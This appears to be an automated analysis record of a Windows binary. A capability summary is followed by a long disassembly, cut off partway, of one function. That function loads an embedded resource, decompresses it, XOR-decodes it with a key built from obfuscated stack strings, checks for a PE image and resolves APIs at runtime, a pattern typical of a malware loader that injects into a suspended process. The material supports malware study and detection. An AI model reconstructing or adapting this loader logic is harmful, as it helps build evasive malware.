Function at 0x140000958
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x730]
sub rsp, 0x830
xor r12d, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
lea r8, str.IMAGE
mov edx, 0x85
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
test rax, rax
je 0x1400009d2
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400009d2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x1400009d2
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x1400009d8
mov eax, r12d
mov rbx, r12
mov dword [0x1400057b0], eax
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [0x1400057d0], rbx
lea r8, [0x1400057c0]
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.Cabinet.dll_CreateDecompressor]
test eax, eax
je 0x140000a96
mov r8d, dword [0x1400057b0]
lea rbx, [0x1400057b8]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov rdx, qword [0x1400057d0]
mov rcx, qword [0x1400057c0]
call qword [sym.imp.Cabinet.dll_Decompress]
test eax, eax
jne 0x140000a63
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140000a96
mov rcx, qword [0x1400057b8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rax
mov qword [0x140005798], rax
test rax, rax
je 0x140000a96
jmp 0x140000a6a
mov r9, qword [0x140005798]
mov r8d, dword [0x1400057b0]
mov qword [rsp + 0x28], rbx
mov rax, qword [0x1400057b8]
mov qword [rsp + 0x20], rax
mov rdx, qword [0x1400057d0]
mov rcx, qword [0x1400057c0]
call qword [sym.imp.Cabinet.dll_Decompress]
mov dword [rsp + 0x50], 0x34656744
mov dword [rsp + 0x54], 0x2a424868
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov ecx, 0xf
mov qword [rbp - 0x28], rcx
lea edi, [rcx - 6]
mov qword [rbp - 0x30], rdi
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp - 0x40], xmm0
mov word [rbp - 0x38], CreateDecompressor
mov dword [rsp + 0x50], 0x2b433837
mov dword [rsp + 0x54], 0x652d4e69
mov byte [rsp + 0x58], 0x4f
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x88], rcx
mov qword [rbp + 0x80], rdi
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp + 0x70], xmm0
mov word [rbp + 0x78], 0x4f
lea r9, [rbp + 0x70]
mov qword [rsp + 0x20], rdi
mov edx, edi
lea rcx, [rbp - 0x40]
call fcn.140002574
lea rdx, [rbp - 0x40]
lea rcx, [rbp]
call fcn.1400020d4
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.1400005d8
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], r12
mov qword [rbp + 0x1f0], r12
mov r8, qword [0x1400057b8]
mov rdx, qword [0x140005798]
lea rcx, [rbp + 0x1d8]
call fcn.14000232c
nop
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xe0]
call fcn.140000774
nop
lea rcx, [rbp + 0x20]
mov rbx, qword [rbp + 0x30]
cmp qword [rbp + 0x38], 0x10
jb 0x140000b9d
mov rdi, qword [rbp + 0x20]
add rbx, rdi
jmp 0x140000ba4
add rbx, rcx
lea rdi, [rbp + 0x20]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
mov r13d, 0x1000
sub rbx, rdi
je 0x140000c36
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140002003
cmp rbx, r13
jb 0x140000c02
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140001ffd
call fcn.140002878
test rax, rax
je 0x140001ec3
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140000c0d
mov rcx, rbx
call fcn.140002878
mov r15, rax
mov qword [rbp + 0xc0], r15
lea rsi, [r15 + rbx]
mov qword [rbp + 0xd0], rsi
mov r8, rbx
mov rdx, rdi
mov rcx, r15
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0xc8], rsi
jmp 0x140000c3d
mov r15, qword [rbp + 0xc0]
movsd xmm0, qword [str.3_e_t_VUVZef7]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x140003c38]
mov dword [rbp - 0x58], eax
movzx eax, word [0x140003c3c]
mov word [rbp - 0x54], ax
mov al, byte [0x140003c3e]
mov byte [rbp - 0x52], al
mov rcx, qword [0x1400057b8]
call fcn.140002b0c
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
lea rax, [rbp - 0x60]
or rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140000c8d
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x20]
call fcn.14000232c
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0xe0]
call fcn.140000774
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140000cc8
mov rbx, qword [rax]
mov r14, qword [0x1400057b8]
mov rsi, rdi
inc rsi
cmp byte [rbx + rsi], r12b
jne 0x140000cd2
lea rcx, [r14 + 1]
call fcn.140002b0c
mov r10, rax
mov qword [rbp + 0x778], rax
mov r8, r12
test r14, r14
je 0x140000d19
mov r9, r15
sub r9, rax
lea rcx, [r8 + r10]
xor edx, edx
mov rax, r8
div rsi
mov al, byte [rdx + rbx]
xor al, byte [r9 + rcx]
mov byte [rcx], al
inc r8
cmp r8, r14
jb 0x140000cfc
mov byte [r10 + r14], r12b
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x140000d5d
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, r13
jb 0x140000d58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140000d58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp + 0x208], r12
mov qword [rbp + 0x210], 0xf
mov byte [rbp + 0x1f8], r12b
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140000db0
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, r13
jb 0x140000dab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140000dab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
movsd xmm0, qword [str.q_7_eNH]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x140003c48]
mov word [rsp + 0x58], ax
movups xmm0, xmmword [str.Q_tF_0fEPAtXnRqsp_M]
movups xmmword [rbp + 0x58], xmm0
mov eax, dword [0x140003c60]
mov dword [rbp + 0x68], eax
movzx eax, word [0x140003c64]
mov word [rbp + 0x6c], ax
mov al, byte [0x140003c66]
mov byte [rbp + 0x6e], al
movups xmm0, xmmword [str.Q_gF_huG_Jt_1I86v]
movups xmmword [rbp + 0xa8], xmm0
mov eax, dword [0x140003c78]
mov dword [rbp + 0xb8], eax
movups xmm0, xmmword [str.Q_0F0fEILwE_ZK2u_]
movups xmmword [rbp + 0x90], xmm0
mov eax, dword [0x140003c90]
mov dword [rbp + 0xa0], eax
mov al, byte [0x140003c94]
mov byte [rbp + 0xa4], al
movups xmm0, xmmword [str.Q_w_:JpPP_Pv4K4r]
movups xmmword [rbp + 0x40], xmm0
movzx eax, word [0x140003ca8]
mov word [rbp + 0x50], ax
mov al, byte [0x140003caa]
mov byte [rbp + 0x52], al
movsd xmm0, qword [str.Q_v__1nG_JgE_]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140003cb8]
mov dword [rbp - 0x48], eax
movzx eax, word [0x140003cbc]
mov word [rbp - 0x44], ax
mov al, byte [0x140003cbe]
mov byte [rbp - 0x42], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp - 0x60]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140000e94
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.14000232c
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1c8], r12
mov qword [rbp + 0x1d0], r12
lea rax, [rsp + 0x50]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140000ecc
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1b8]
call fcn.14000232c
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
mov qword [rbp + 0x1a8], r12
mov qword [rbp + 0x1b0], r12
lea rax, [rbp - 0x50]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f06
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x198]
call fcn.14000232c
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], r12
mov qword [rbp + 0x190], r12
lea rax, [rbp + 0x40]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f3f
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x178]
call fcn.14000232c
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
lea rax, [rbp + 0x90]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f7b
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x158]
call fcn.14000232c
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x150], r12
lea rax, [rbp + 0xa8]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140000fba
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x138]
call fcn.14000232c
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
lea rax, [rbp + 0x58]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140000fed
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x20]
call fcn.14000232c
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp]
lea rcx, [rbp + 0xe0]
call fcn.140000774
mov r13, rax
lea r8, [rbp + 0x1b8]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xe0]
call fcn.140000774
mov qword [rbp + 0x770], rax
lea r8, [rbp + 0x198]
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0xe0]
call fcn.140000774
mov r12, rax
lea r8, [rbp + 0x178]
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0xe0]
call fcn.140000774
mov r14, rax
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0xe0]
call fcn.140000774
mov rsi, rax
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0xe0]
call fcn.140000774
mov rbx, rax
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0xe0]
call fcn.140000774
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400010d3
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400026fc
lea rdx, [0x1400022f4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140001100
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.1400026fc
lea rbx, [0x1400022f4]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x14000112c
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov rcx, rax
call fcn.1400026fc
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x140001151
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
mov rcx, rax
call fcn.1400026fc
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x140001178
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
mov rcx, rax
call fcn.1400026fc
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rax, qword [rbp + 0x770]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400011a8
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.1400026fc
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x1400011cb
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
mov rcx, rax
call fcn.1400026fc
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x230]
mov r13d, 0x10
mov ebx, 0x1000
cmp rdx, r13
jb 0x14000122e
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, rbx
jb 0x140001229
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001229
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
xor r12d, r12d
mov qword [rbp + 0x228], r12
lea esi, [r12 + 0xf]
mov qword [rbp + 0x230], rsi
mov byte [rbp + 0x218], r12b
mov rdx, qword [rbp + 0x250]
cmp rdx, r13
jb 0x14000128a
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, rbx
jb 0x140001285
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001285
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp + 0x248], r12
mov qword [rbp + 0x250], rsi
mov byte [rbp + 0x238], r12b
mov rdx, qword [rbp + 0x270]
cmp rdx, r13
jb 0x1400012de
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, rbx
jb 0x1400012d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400012d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp + 0x268], r12
mov qword [rbp + 0x270], rsi
mov byte [rbp + 0x258], r12b
mov rdx, qword [rbp + 0x290]
cmp rdx, r13
jb 0x140001332
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, rbx
jb 0x14000132d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000132d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp + 0x288], r12
mov qword [rbp + 0x290], rsi
mov byte [rbp + 0x278], r12b
mov rdx, qword [rbp + 0x2b0]
cmp rdx, r13
jb 0x140001386
inc rdx
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, rbx
jb 0x140001381
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001381
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp + 0x2a8], r12
mov qword [rbp + 0x2b0], rsi
mov byte [rbp + 0x298], r12b
mov rdx, qword [rbp - 0x68]
cmp rdx, r13
jb 0x1400013d4
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, rbx
jb 0x1400013cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], rsi
mov byte [rbp - 0x80], r12b
mov rdx, qword [rbp + 0x18]
cmp rdx, r13
jb 0x140001419
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, rbx
jb 0x140001414
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001414
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], rsi
mov byte [rbp], r12b
mov rdx, qword [rbp - 8]
cmp rdx, r13
jb 0x14000145f
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, rbx
jb 0x140001459
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001459
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
nop
mov rdx, qword [rbp + 0x150]
cmp rdx, r13
jb 0x14000149f
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, rbx
jb 0x140001499
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001499
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, r13
jb 0x1400014df
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, rbx
jb 0x1400014d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
nop
mov rdx, qword [rbp + 0x190]
cmp rdx, r13
jb 0x14000151f
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, rbx
jb 0x140001519
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001519
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
nop
mov rdx, qword [rbp + 0x1b0]
cmp rdx, r13
jb 0x14000155f
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, rbx
jb 0x140001559
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001559
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, r13
jb 0x14000159f
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, rbx
jb 0x140001599
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001599
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, r13
jb 0x1400015da
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rbx
jb 0x1400015d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov r14, qword [rbp + 0x778]
movsxd rsi, dword [r14 + 0x3c]
add rsi, r14
cmp dword [rsi], 0x4550
jne 0x140001e92
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x2c0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x330]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rsp + 0x50]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140001648
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14000232c
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp]
lea rcx, [rbp + 0xe0]
call fcn.140000774
cmp qword [rax + 0x18], r13
jb 0x14000167f
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
mov rdx, qword [rbp + 0x18]
cmp rdx, r13
jb 0x1400016c8
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r12b
mov rdx, qword [rsp + 0x78]
cmp rdx, r13
jb 0x140001717
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001712
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001712
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp + 0x58]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140001730
lea rdx, [rbp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.14000232c
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xe0]
call fcn.140000774
cmp qword [rax + 0x18], r13
jb 0x140001766
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400057c8], rax
mov rdx, qword [rbp - 0x68]
cmp rdx, r13
jb 0x1400017b6
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r12b
mov rdx, qword [rsp + 0x78]
cmp rdx, r13
jb 0x140001805
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001800
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001800
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
cmp qword [0x1400057c8], r12
je 0x140001e92
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp + 0xa8]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x14000182e
lea rdx, [rbp + 0xa8]
lea rcx, [rsp + 0x60]
call fcn.14000232c
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xe0]
call fcn.140000774
cmp qword [rax + 0x18], r13
jb 0x140001867
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400057a0], rax
mov rdx, qword [rbp - 0x68]
cmp rdx, r13
jb 0x1400018b7
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r12b
mov rdx, qword [rsp + 0x78]
cmp rdx, r13
jb 0x140001906
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001901
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001901
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
cmp qword [0x1400057a0], r12
je 0x140001e92
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp + 0x90]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x14000192f
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x60]
call fcn.14000232c
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xe0]
call fcn.140000774
cmp qword [rax + 0x18], r13
jb 0x140001968
mov rax, qword [rax]
mov rdx, rax
